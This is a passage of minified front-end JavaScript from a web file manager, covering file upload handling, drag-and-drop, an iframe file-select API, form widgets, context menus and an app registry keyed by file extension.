c=c?c:0,l=c+"/s",s=l,l},c=[],d=function(e){clearTimeout(i),i=!1,i=setTimeout(function(){var t=c;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(c=[],core.isApp("explorer"))){if("share"==G.sharePage)return;ui.tree.checkIfChange(G.thisPath)}})},600)};uploader.on("fileQueued",function(e){if($(".dialog-file-upload").show(),!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(a){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.path.pathOperate.newFolder(G.thisPath+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;var i=e.fullPath;e.finished=!1,e.upload_to=G.thisPath,(void 0==i||"undefined"==i)&&(i=e.name),n++;var s=$(".uploader-list"),r='
        '+''+htmlEncode(core.pathThis(i))+""+''+pathTools.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==n||2e3==n)&&Tips.tips(LNG.upload_tips_more,"warning");var l=function(){if(0==e.size&&i){ui.path.pathOperate.newFile(e.upload_to+i),uploader.skipFile(e),uploader.removeFile(e),o++,n++;var t=$("#"+e.id);t.addClass("success").find(".state").removeClass("upload-loading").text(LNG.upload_success).parent().find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")}},c=function(){uploader.upload(),setTimeout(function(){l()},200)};0==s.length?setTimeout(function(){$(".uploader-list").prepend(r),c()},200):(s.prepend(r),c())}).on("uploadBeforeSend",function(e,t,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to,a["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){var a=(100*t).toFixed(1)+"%";$(".dialog-file-upload .aui-title").text(LNG.uploading+": "+o+"/"+n+" ("+s+")"),Title.set(o+"/"+n+"("+a+","+s+")");var i=l(e,t),r=$("#"+e.id),c=r.find(".progress .progress-bar");c.length||(c=$('
        ').appendTo(r).find(".progress-bar")),r.find(".state").text(a+"("+i+")"),c.css("width",a)}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||c.push(t.info)}catch(a){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var a=36*t.index(".item");$(".uploader-content").scrollTop(a)}o++;var i=e.serverData;if(i&&i.data){var n=LNG[i.data];if(i.code){if(t.addClass("success"),t.find(".state").removeClass("upload-loading").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),i.info){var s="/"+ltrim(htmlEncode(i.info),"/");t.find(".info .title").html(core.pathThis(s)).attr("title",s).attr("data-name",s)}}else n="上传异常!",t.addClass("error").find(".state").removeClass("upload-loading").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||d(!1)}).on("uploadError",function(e,t){var a=LNG.upload_error+"("+t+")";if(e.serverData){var i=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,i>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;a=LNG[n]?LNG[n]:n}else e.serverData._raw&&(a=e.serverData._raw)}"http"==t&&(a=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(a=LNG.not_support+"(support on chrome)"),o++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error").removeClass("upload-loading"),$("#"+e.id).find(".state").html(a).attr("title",a)}).on("uploadFinished",function(){$(".dialog-file-upload .aui-title").text(LNG.upload_success+": "+o+"/"+n),Title.reset(),n=0,o=0,uploader.reset(),d(!0)}).on("error",function(e){Tips.tips(e,!1)});var p;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}p&&window.clearTimeout(p)},dragLeave=function(e){stopPP(e),p&&window.clearTimeout(p),p=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.path.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e="FileSelectApi",t=function(){var t=$.parseUrl();if(t.params.fileSelect){var a=t.params.fileSelect,i=parseInt(t.params.fileSelectSingle),n=t.params.fileSelectAllow;kodReady.push(function(){Hook.bind("explorer.fileSelect.change",function(){d()}),d()});var o=function(e,t){var a={type:e,data:t};l.send(jsonEncode(a))},s=function(e){var t=jsonDecode(e);if(!t||!t.type)return console.log("parse error!"+e),void 0;var a=t.type,n=t.data;if("makeUrl"==a){$.isArray(n)||(n=[n]);var s=[],r=function(){Tips.close(LNG.loading),i&&(s=s[0]),o("makeUrl",s)};Tips.loading(LNG.loading);for(var l=0;n.length>l;l++){var c=n[l];core.fileLink(c,function(e){s.push({name:core.pathThis(c),url:e}),n.length==s.length&&r()})}}},r=window.parent;if(window.MessageInit)l.addTarget(r,"ParentPage");else{var l=new Messenger("ChildPage",e);l.addTarget(r,"ParentPage"),l.listen(s),window.MessageInit=!0}var c=function(e){var t=n.split("|"),a=core.pathExt(e);return""==n||""!=n&&-1!=$.inArray(a,t)?!0:!1},d=function(){var e=ui.fileLight.fileListSelect(),t=[];if(i){var n=$(e.get(0));if("all"==a&&0==e.length)t={file:[],folder:[]};else if("file"==a&&0==e.length)t=[];else if("folder"==a)t=[G.thisPath],n.hasClass("folder-box")&&(t=[ui.fileLight.path(n)]);else if("file"==a){if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t=[o])}}else if("all"==a)if(n.hasClass("folder-box")){var o=ui.fileLight.path(n);t=[{file:[],folder:[o]}]}else if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t={file:[o],folder:[]})}}else{var s=[],r=[];e.each(function(){if($(this).hasClass("file-box")){var e=ui.fileLight.path($(this));c(e)&&s.push(e)}else $(this).hasClass("folder-box")&&r.push(ui.fileLight.path($(this)))}),"folder"==a?t=r:"file"==a?t=s:"all"==a&&(t={file:s,folder:r})}u(t)},p=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},u=function(e){if("all"!=a){for(var t=[],i=0;e.length>i;i++)p(e[i])&&t.push(e[i]);e=t}0==e.length||"all"==a&&0==e.file.length&&0==e.folder.length?o("selectChange",0):o("selectChange",e)}}};return t(),{pathSelect:function(t,a){var i={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500},n={id:"pathSelectApi",ok:function(){if("function"==typeof a){var e=s.DOM.wrap.find(".path-select-input").data("result");if(!e)return Tips.tips(LNG.error,!1),void 0;if(e){var i=e;if(t.single&&"all"!=t.type&&(i=e[0]),t.makeUrl&&"file"==t.type)return l("makeUrl",i),!1;a(i)}else Tips.tips(LNG.error,!1)}},cancel:!0};t=$.extend(i,t),n=$.extend(n,t);var o=G.appHost+"explorer&type=iframe";o+="&fileSelect="+t.type,o+="&fileSelectSingle="+Number(t.single),o+="&fileSelectAllow="+t.allowExt,t.firstPath&&(o+="&path="+t.firstPath);var s=$.dialog.open(o,n),r='';"file"==t.type&&(r+=''+t.allowExt+""),$(r).insertBefore($(s.DOM.wrap).find(".aui-state-highlight"));var l=function(e,t){var a={type:e,data:t};messengerParent.send(jsonEncode(a))},c=function(e){var i=jsonDecode(e);if(!i||!i.type)return console.log("parse error!"+e),void 0;var n=i.type,o=i.data;if("makeUrl"==n)a(o),$.artDialog.list.pathSelectApi.close();else if("selectChange"==n){var s=$(".pathSelectApi"),r=s.find(".path-select-input"),l=s.find(".aui-state-highlight");o?l.removeClass("disable"):l.addClass("disable");var c="";if(t.single)c=core.pathThis(o[0]);else{var d=o;"all"==t.type&&(d=o.folder.concat(o.file)),$.each(d,function(e,t){c+=core.pathThis(t)+","}),c=rtrim(c,",")}r.data("result",o),r.val(c)}},d=$("[name=OpenpathSelectApi]").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(d,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",e),messengerParent.addTarget(d,"ParentPage"),messengerParent.listen(c),window.MessagerParentInit=!0)},randomImage:function(e){var t=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(t,function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",[],function(){var e={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(e){var t=G.staticPath+"others/sound/"+e;Hook.trigger("playSound",t)};return{playSoundFile:t,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){t(e[a])},50)}}}),define("app/common/core.formMake",[],function(e){var t,a,i,n={user:!1,group:!1,role:!1},o=function(){t=$("#"+a),t.find(".tab-group .tab-item").length>1?s():t.find(".tab-group").addClass("hidden"),t.find(".form-row.form-slider").exists()&&r(),t.find(".form-row.form-dateTime").exists()&&l(),t.find(".form-row.form-color").exists()&&c(),t.find(".form-row.form-fileSelect").exists()&&d(),t.find(".form-row select").exists()&&p(),t.find(".form-row.form-userSelect").exists()&&u(),t.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),t.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},s=function(){var e=t.find(".tab-content .tab-pane"),a=t.find(".tab-group .tab-item");e.each(function(){var i=$(this).attr("id"),n=t.find("."+i);n.length>0?n.appendTo($(this)):(e.filter("#"+i).remove(),a.find('[data-id="'+i+'"]').parent().remove())}),a.click(function(){a.removeClass("active"),$(this).addClass("active");var t=$(this).find("a").attr("data-id");e.removeClass("active"),e.filter("#"+t).addClass("active")})},r=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){t.find(".form-slider input").slider()})},l=function(){e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var e="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";t.find(".form-dateTime input").each(function(){var t=$(this).attr("data-format"),a=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],i=["H","h","i","s","A","a","b","g","G","O","P","c","U"],n=!1,o=!1;t||(t="Y/m/d");for(var s=0;a.length>s;s++)if(-1!==t.indexOf(a[s])){n=!0;break}for(var s=0;i.length>s;s++)if(-1!==t.indexOf(i[s])){o=!0;break}$(this).datetimepicker({format:t,datepicker:n,timepicker:o,lang:e}).blur(function(){$(this).trigger("change")})})}),t.find(".form-dateTime .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").focus()})},c=function(){e.async("lib/colorpicker/js/colorpicker",function(){t.find(".form-color input").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$($(this).data("colorpicker").el);a.val("#"+t).trigger("change"),a.parent().find(".btn i").css("background",a.val())}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value),$(this).parent().find(".btn i").css("background",$(this).val())}),t.find(".form-color .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").click()})})},d=function(){t.find(".path-select").die("click").live("click",function(){var e=$(this);core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){var t=core.path2url(t);e.parent().find("input[type=text]").val(t).trigger("change")})})},p=function(){seajs.use("lib/select2/css/select2.min.css"),e.async("lib/select2/js/select2.full.min.js",function(){var a=function(t,a){t.on("select2:select",function(e){if(!t.attr("multiple"))return t.select2("close"),void 0;var a=$(e.params.data.element);a.detach(),t.append(a),t.trigger("change.select2")}).on("select2:unselect",function(e){stopPP(e.params.originalEvent)}).on("change",function(){setTimeout(function(){$(window).trigger("resize")},10)}),"group"==a&&t.on("select2:open",function(){e.async("lib/ztree/ztree",function(){h(t,n[a])})});var i=t.attr("data-value");i&&(t.attr("multiple")&&(i=i.split(",")),t.val(i).trigger("change"))};t.find("select").each(function(){var e=$(this),t=e.attr("data-server"),i=!1;"tags"==e.parents(".form-row").attr("data-type")&&(i=!0),t?f(t,function(n){e.select2({data:n,tags:i,tokenSeparators:[","," "],closeOnSelect:!1}),a(e,t)}):(e.select2({closeOnSelect:!1,tags:i,tokenSeparators:[","," "]}),a(e,t))})})},u=function(){var e=t.find(".form-userSelect .btn-group"),a="btn-active",i="hidden";e.find("button").unbind("click").bind("click",function(){var e=$(this).attr("data-type"),t=$(this).parents(".btn-group"),n=t.parent().find(".user-select"),o=t.parent().find(".user-select-"+e);n.filter(":visible"),t.attr("multiple")?"all"==e?(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i)):($(this).toggleClass(a),o.toggleClass(i),$(this).hasClass(a)?t.find("[data-type=all]").removeClass(a):t.find("."+a).exists()||t.find("[data-type=all]").addClass(a)):(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i))})},f=function(e,t){var a=function(e){var t=[];for(var a in e)t.push({id:a,text:e[a].name});return t};if(n[e]&&t)return t(a(n[e])),void 0;var i={user:G.appHost+"systemMember/get",group:G.appHost+"systemGroup/get",role:G.appHost+"systemRole/get"};return null==n[e]?(Hook.bind("loadDataServer-"+e,function(){t(a(n[e]))}),void 0):(n[e]=null,$.ajax({url:i[e],dataType:"json",error:function(){n[e]=!1,Tips.tips(LNG.system_error,0)},success:function(i){return i.code?(n[e]=i.data,t&&t(a(n[e])),Hook.trigger("loadDataServer-"+e),void 0):(Tips.tips(i),void 0)}}),void 0)},h=function(e,t){var a=function(e){var t=function(e){for(var a=0;e.length>a;a++)void 0!=e[a]?(e[a].pid=e[a].parentID,e[a].id=e[a].groupID,delete e[a].children,delete e[a].parentID,delete e[a].groupID,e[a].child&&(e[a].children=e[a].child,delete e[a].child,t(e[a].children))):delete e[a]},a=[],i=$.extend(!0,{},e);for(var n in i){var o=i[n],s=o.parentID;if(i[s])i[s].child||(i[s].child=[]),i[s].child.push(i[o.groupID]);else{var r=i[o.groupID];r&&a.push(r)}}return t(a),a},i={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var a=12,i=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(i).after('').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";i.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data-group-id",t.id)}},callback:{onClick:function(e,t,a){n(t,a)}}},n=function(t,a){var i=$("#"+a.tId+"_a");if(i.removeClass("curSelectedNode"),e.attr("multiple")){i.toggleClass("this");var n=e.val();$.isArray(n)||(n=[]),i.hasClass("this")?n.push(a.id):n=_.without(n,a.id),$.each(n,function(){var t=e.find("[value="+this+"]");t.detach(),e.append(t)}),e.val(n).trigger("change")}else $("#"+t+" [treenode_a].this").removeClass("this"),i.toggleClass("this"),e.val(a.id).trigger("change"),e.select2("close")},o=function(){var t=e.val(),a=$(".select2-container--open .group-list-tree").attr("id"),i=$.fn.zTree.getZTreeObj(a);$("#"+a+" [treenode_a]").removeClass("this"),"string"==typeof t&&(t=[t]),t&&i.getNodesByFilter(function(e){inArray(t,e.id+"")&&$("#"+e.tId+"_a").addClass("this")})},s=function(e){var t=$(".select2-container--open .group-list-content");t.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==e?t.find(".group-list-tree").addClass("hidden"):t.find(".select2-results__options").addClass("hidden")},r=function(t){var n=function(e){e.unbind("change input").bind("change input",function(){$(this).val().length>0?s("search"):s("tree")})};if(e.attr("multiple")?n(e.parent().find(".select2-search__field")):n($(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return o(),s("tree"),void 0;e.on("open",function(){o()}).on("select2:unselect",function(){o()});var r=UUID(),l='
        ';$(l).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var c=a(t);$.fn.zTree.init($("#"+r),i,c);var d=$.fn.zTree.getZTreeObj(r);d&&d.expandAll(!0),o(),s("tree")};r(t)},m=function(){var e={},a=[],n=function(e){for(var t={all:"0",user:"",group:"",role:""},a=e.split(";"),i=0;a.length>i;i++){var n=a[i].split(":");2==n.length&&(t[n[0]]=n[1])}return"0"!=t.all||t.user||t.group||t.role?!0:!1};if(t.find(".form-row").each(function(){var t=$(this),o=$(this).attr("data-type"),s=$(this).find("[name]");$(this).find(".setting-title .require").exists();var r=s.attr("name"),l=!1;switch(o){case"input":case"textarea":case"password":case"number":case"slider":case"color":case"dateTime":case"fileSelect":l=s.val();break;case"switch":l=s.prop("checked")+0+"";break;case"radio":l=s.filter(":checked").attr("value");break;case"checkbox":l=[],s.filter(":checked").each(function(){l.push($(this).val())}),l=l.join(",");break;case"select":case"selectMutil":case"tags":case"group":case"role":case"user":l=s.val(),$.isArray(l)&&(l=l.join(",")),null==l&&(l="");break;case"userSelect":var c={all:"0",user:"",group:"",role:""};t.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type"),a="1";"all"!=e&&(a=$(t).find(".user-select-"+e+" select").val(),$.isArray(a)&&(a=a.join(",")),null==a&&(a="")),c[e]=a}),l="all:"+c.all+";user:"+c.user+";group:"+c.group+";role:"+c.role;break;default:}$(this).removeClass("error"),i[r]&&i[r].require&&(l===!1||null===l||"string"==typeof l&&""===l||"userSelect"==i[r].type&&!n(l))?($(this).addClass("error"),a.push({name:r,value:l})):e[r]=l}),a.length>0){Tips.tips(LNG.PluginConfigNotNull,"warning");var o=t.find(".panel-body"),s=t.find(".form-row.error");if(!s.parents(".tab-pane").hasClass("active")){var r=s.parents(".tab-pane").attr("id");t.find('.tab-group [data-id="'+r+'"]').click()}s.inScreen()||o.animate({scrollTop:s.offset().top-o.offset().top+o.scrollTop()},100),s.find("[name]").first().focus(),s.find(".setting-content").flash(3,100)}return{checked:0==a.length,error:a,result:e}},v=function(t){e.async(t,function(e){e&&($.isFunction(e)?e():"object"==typeof e&&e.hasOwnProperty("main")&&$.isFunction(e.main)&&e.main())})},g=function(e){if("string"==typeof e)return v(file),!1;if($.isPlainObject(e.formStyle)&&e.formStyle.loadFile){var t=e.formStyle.loadFile;"string"==typeof t&&(t=[t]),$.isArray(t)&&$(t).each(function(e,t){v(t)})}i=e,a=UUID();var n=template.compile(tplFormMake),o=n({LNG:LNG,items:e,wrapID:a});return o},b=function(e,t,a){var i=g(e);if(!i)return!1;var n={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:680,height:500,content:i,okVal:LNG.button_save,ok:function(){var e=m();return e.checked?a(e.result):!1}};if($.isPlainObject(t))for(var s in t)n[s]=t[s];var r=$.dialog(n),l=r.DOM.wrap.find(".aui-title").html();return r.DOM.wrap.find(".modal-title").html(l),o(),r};return{makeHtml:g,bindEvent:o,getFormData:m,initDialog:b}}),define("app/common/rightMenuExtence",[],function(){$.contextMenu||($.contextMenu={}),$.contextMenu.show=function(e,t,a){e&&($.contextMenu.hidden(),$(e).contextMenu({x:t,y:a}))},$.contextMenu.menuShow=function(){var e=$(".context-menu-active"),t=e.data("contextMenu");if(e&&t){var a=t.$menu,i="disable";a.find(".disable").addClass(i),Hook.trigger("rightMenu.show",t.selector,e,a),Hook.trigger("rightMenu.show"+t.selector,e,a)}},$.contextMenu.isDisplay=function(){return 0==$(".context-menu-list:visible").length?!1:!0 -},$.contextMenu.hidden=function(){$(".context-menu-list").filter(":visible").filter(":not(.menu-not-auto-hidden)").trigger("contextmenu:hide")},$.contextMenu.menuAdd=function(e,t,a,i){var n=!1,o=$.contextMenu.menus;for(var s in o)if(o[s].selector==t){n=o[s];break}if(n&&e){var r=function(e){return e?-1!==e.indexOf("/")?'':'':""},l=function(e,t,a,i){var o=[],s={};if(a){for(var c in t)o.push({key:c,value:t[c]});for(var d=o.length-1;d>=0;d--)s[o[d].key]=o[d].value}else s=t;$.each(s,function(t,o){o.className=o.className||"";var s=t+" "+o.className;if("string"==typeof o)var c='
      • ';else{var d=o.name;o.accesskey&&(d+='('+o.accesskey+")");var c='
      • '+r(o.icon)+""+d+"
      • "}var p=$(c).clone();a?e.$menu.find(a).first().after(p):i&&e.$menu.find(i).first().before(p);var u=p.parent(".context-menu-list").data("contextMenu");p.data({contextMenu:u,contextMenuKey:t,contextMenuRoot:n});var f={$input:null,$label:null,accesskey:o.accesskey,className:o.className,icon:o.icon,name:o.name,_name:d,$node:p};if(u&&(u.items||(u.items={}),u.items[t]=f),"string"!=typeof o&&(e.commands||(e.commands={}),e.commands[t]=f,n.commands[t]=f,n.callbacks[t]=function(e,t){o.callback(e,t)},o.accesskey&&(n.accesskeys[o.accesskey]=f),o.items)){var c='
        ';$(c).appendTo(p),f.$menu=p.find("ul."+t),f.callback=null,f.appendTo=f.$node,f.type="sub",p.data("contextMenu",f).addClass("context-menu-submenu"),p.find("ul."+t).data({contextMenuRoot:n,contextMenu:f}),p.find("li."+t+"-first").data({contextMenuRoot:n,contextMenuKey:t+"-first",contextMenu:f}),f.items||(f.items={}),f.items[t+"-first"]={$input:null,$label:null,icon:"",name:"",_name:"",$node:p.find("li."+t+"-first")},l(f,o.items,"."+t+"-first")}})};l(n,e,a,i)}};var e=function(){return $('').appendTo("#rightMenu"),"function"!=typeof $.contextMenu?console.info("$.contextMenu is not function!"):($.contextMenu({zIndex:9999,selector:".dialog-menu",items:{"dialog-quit":{name:LNG.close,className:"dialog-quit",icon:"remove",accesskey:"q"},"dialog-max":{name:LNG.dialog_max,className:"dialog-max",icon:"resize-full",accesskey:"a"},"dialog-min":{name:LNG.dialog_min,className:"dialog-min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},"open-window":{name:LNG.open_ie,className:"open-window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"dialog-quit":i.close();break;case"dialog-min":i._clickMin(!1);break;case"dialog-max":i._clickMax();break;case"refresh":i.refresh();break;case"open-window":i.openWindow();break;case"qrcode":core.qrcode(i.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui-title img,.aui-title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),$.contextMenu.hidden()}),void 0)};Hook.bind("rightMenu.show.dialog-menu",function(e,t){var a=e.attr("id"),i=$.dialog.list[a],n="hidden",o=".open-window,.refresh,.qrcode,.context-menu-separator";i.hasFrame()?t.find(o).removeClass(n):t.find(o).addClass(n);var s=".dialog-min,.dialog-max";$("."+a).hasClass("dialog-can-resize")?t.find(s).removeClass(n):t.find(s).addClass(n)}),e()}),define("app/app/appBase",[],function(){var e={},t={},a={},i=!1,n=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),e[a.name]=a,a.ext||(a.ext="");var i=a.ext.split(",");e[a.name].extArr=i,a.sort=a.sort!==void 0?parseInt(a.sort):0;for(var n=0;i.length>n;n++){var o=trim(i[n]);e[a.name].extArr[n]=o,t[o]||(t[o]=[]);for(var s=!1,r=0;t[o].length>r;r++)if(t[o][r].name==a.name){s=!0;break}s||(t[o].push({name:a.name,sort:a.sort}),t[o].length>1&&(t[o]=_.sortBy(t[o],"sort").reverse()))}Hook.trigger("kodApp.add.finished")},o=function(){return t},s=function(i){if(!i||!e[i])return!1;delete e[i];for(var n in a)if(a[n]==i){delete a[n];break}for(var n in t){for(var o=t[n],s=[],r=0;o.length>r;r++)o[r].name!=i&&s.push(o[r]);0==s.length?delete t[n]:t[n]=s}},r=function(i){if(i===void 0){var n=[];for(var o in e)e[o].hidden||n.push(e[o]);return n}var s=a[i],n=[];if(!s&&!t[i])return!1;if(s&&(e[s]?n.push(e[s]):delete a[i]),!t[i])return n;for(var r=0;t[i].length>r;r++){var l=t[i][r].name;e[l]&&l!=s&&n.push(e[l])}return n},l=function(e){i=e},c=function(){return i},d=function(t,a,i){a&&"file"!=a||(a=core.pathExt(t)),i=i?i:"";var n={path:t,ext:a,appName:i};if(!Hook.trigger("kodApp.open.before",n)){if(t=n.path,a=n.ext,i=n.appName)var o=e[i];else{var s=r(a);if(!s||0==s.length)return kodApp.openUnknow(t,""),void 0;var o=s[0]}if(!o)return Tips.tips("["+i+"] not exists",!1);try{o.callback(t,a),Hook.trigger("kodApp.open.after",t,a,o)}catch(l){kodApp.openUnknow(t,""),console.error("kodApp.open error:",l)}}},p=function(t){var a=r(t),i=r("");""==t&&(a=!1),a?a.push({name:""}):a=[],a=a.concat(i);for(var n={},o=0;a.length>o;o++){var s=a[o];""==s.name||s.hidden?n["step-line"]="-------":n[s.name]={app:s.name,name:s.title,className:s.className,icon:s.icon,callback:function(t){var a=e[t];if(a&&a.callback){if($(".context-menu-active"),$(".context-menu-active").hasClass("menu-tree-file"))var i=ui.tree.makeParam();else var i=ui.path.makeParam();a.callback(i.path,i.type)}}}}return n},u=function(e,t){f(e,t),G.userConfig.kodAppDefault=htmlEncode(jsonEncode(a)),G.shareInfo||$.get(G.appHost+"setting/set&k=kodAppDefault&v="+jsonEncode(a))},f=function(t,i){if("string"==typeof t)a[t]=i;else if($.isArray(t))for(var n=0;t.length>n;n++)a[t[n]]=i;else if(e[i]&&$.isArray(e[i].extArr))for(var o=e[i].extArr,n=0;o.length>n;n++)a[o[n]]=i},h=function(){G.userConfig.kodAppDefault="[]",a={}},m=function(t,a){var t=e[t];return t?a?inArray(t.extArr,a):t.ext:!1},v=function(a,i,n){var a=e[a];if(!a)return!1;var o="undefined"==n?0:parseInt(n);0==o&&a.sort!==void 0&&(o=parseInt(a.sort)),"string"==$.type(i)&&(i=i.split(","));for(var s=0;i.length>s;s++){var r=i[s];if(r){inArray(a.extArr,r)||a.extArr.push(r),t[r]||(t[r]=[]);for(var l=!1,c=0;t[r].length>c;c++)t[r][c].name!=a.name||(t[r][c].sort=o,l=!0);l||t[r].push({name:a.name,sort:o})}}},g=function(){if(G.userConfig&&G.userConfig.kodAppDefault)try{var e=G.userConfig.kodAppDefault;e=jsonDecode(htmlDecode(e)),$.isPlainObject(e)&&(a=e)}catch(t){}Hook.bind("rightMenu.show.menu-file,rightMenu.show.menu-tree-file",function(e,t){if(e.hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";if(kodApp.getApp(i)){var o=kodApp.getAppMenu(i);t.find("li.open-with.context-menu-submenu").removeClass(n),t.find("ul.context-menu-list.open-with .context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(o,".menu-file",".open-with-first"),$.contextMenu.menuAdd(o,".menu-tree-file",".open-with-first")}else t.find("li.open-with.context-menu-submenu").addClass(n)}),Hook.trigger("kodApp.ready")};return g(),{debug:function(){return{appList:e,openDefault:t,openUser:a}},add:n,remove:s,appSupportCheck:m,appSupportSet:v,getApp:r,getAppBind:o,getAppMenu:p,setLastOpenTarget:l,getLastOpenTarget:c,setOpenUser:u,setOpenUserLocal:f,clearOpenUser:h,open:d}}),define("app/app/editor",[],function(){kodApp.add({name:"aceEditor",title:LNG["Plugin.default.aceEditor"],sort:0,ext:"txt,textile,oexe,inc,csv,log,asc,tsv,lnk,url,webloc,meta,localized,xib,xsd,storyboard,plist,csproj,pch,pbxproj,local,xcscheme,manifest,vbproj,strings,jshintrc,sublime-project,readme,changes,changelog,version,license,changelog,abap,abc,as,asp,aspx,ada,adb,htaccess,htgroups,htgroups,htpasswd,asciidoc,adoc,asm,a,ahk,bat,cmd,cpp,c,cc,cxx,h,hh,hpp,ino,c9search_results,cirru,cr,clj,cljs,cbl,cob,coffee,cf,cson,cakefile,cfm,cs,css,curly,d,di,dart,diff,patch,dockerfile,dot,dummy,dummy,e,ge,ejs,ex,exs,elm,erl,hrl,frt,fs,ldr,ftl,gcode,feature,.gitignore,glsl,frag,vert,gbs,go,groovy,haml,hbs,handlebars,tpl,mustache,hs,hx,html,hta,htm,xhtml,eex,html.eex,e